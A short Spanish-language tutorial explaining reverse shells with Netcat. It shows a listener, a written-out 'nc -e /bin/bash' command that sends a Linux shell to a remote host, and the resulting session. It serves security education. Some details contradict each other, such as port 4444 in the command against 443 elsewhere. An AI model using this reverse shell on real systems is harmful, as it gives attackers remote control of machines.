¿Que es un Reverse Shell ?

 


podemos aprovechar otra característica útil de Netcat; la capacidad de enviar un shell de comandos a un host que escucha en un puerto específico. En esta situación, aunque Alice no puede vincular un puerto a /bin/bash localmente en su computadora y esperar que pepe se conecte, en su lugar puede enviar el control de su símbolo del sistema a la máquina de pepe.

 Esto se conoce como shell inverso. Para que esto funcione, pepe primero configurará Netcat para escuchar un shell entrante. Usaremos el puerto 443

C:\Users\pepe> nc -nlvp 443 

listening on [any] 443 ...

Ahora, Alice puede enviar un shell inverso desde su máquina Linux a pepe. Una vez más, usamos la opción -e para hacer que una aplicación esté disponible de forma remota, que en este caso es /bin/bash, el shell de Linux.

kali@kali:~$ ip address show eth0 | grep inetinet 

10.11.0.4/16  brd 10.11.255.255  scope global dynamic eth0 

kali@kali:~$ nc -nv 10.11.0.22 4444 -e /bin/bash 

(UNKNOWN) [10.11.0.22] 443 (?) open

Una vez que se establece la conexión, Alice's Netcat habrá redirigido /bin/bash input, salida y flujos de datos de error a la máquina de pepe en el puerto 443, y pepe puede interactuar con ese shell.

C:\Users\offsec>nc -nlvp 443 

listening on [any] 443 ... 

connect to [10.11.0.22] from <UNKNOWN) [10.11.0.4] 43482 

ip address show eth0 | grep inet 

inet 10.11.0.4/16  brd 10.11.255.255  scope global dynamic eth0


Tómese un tiempo para considerar las diferencias entre shells vinculantes e inversos, y cómo estas diferencias pueden aplicarse a varias configuraciones de firewall desde el punto de vista de la seguridad organizacional. 

Es importante darse cuenta de que el tráfico saliente puede ser tan dañino como el tráfico entrante. La siguiente imagen muestra el escenario de shell inverso donde pepe obtiene acceso de shell remoto en la máquina Linux de Alice, atravesando el firewall corporativo




Comentarios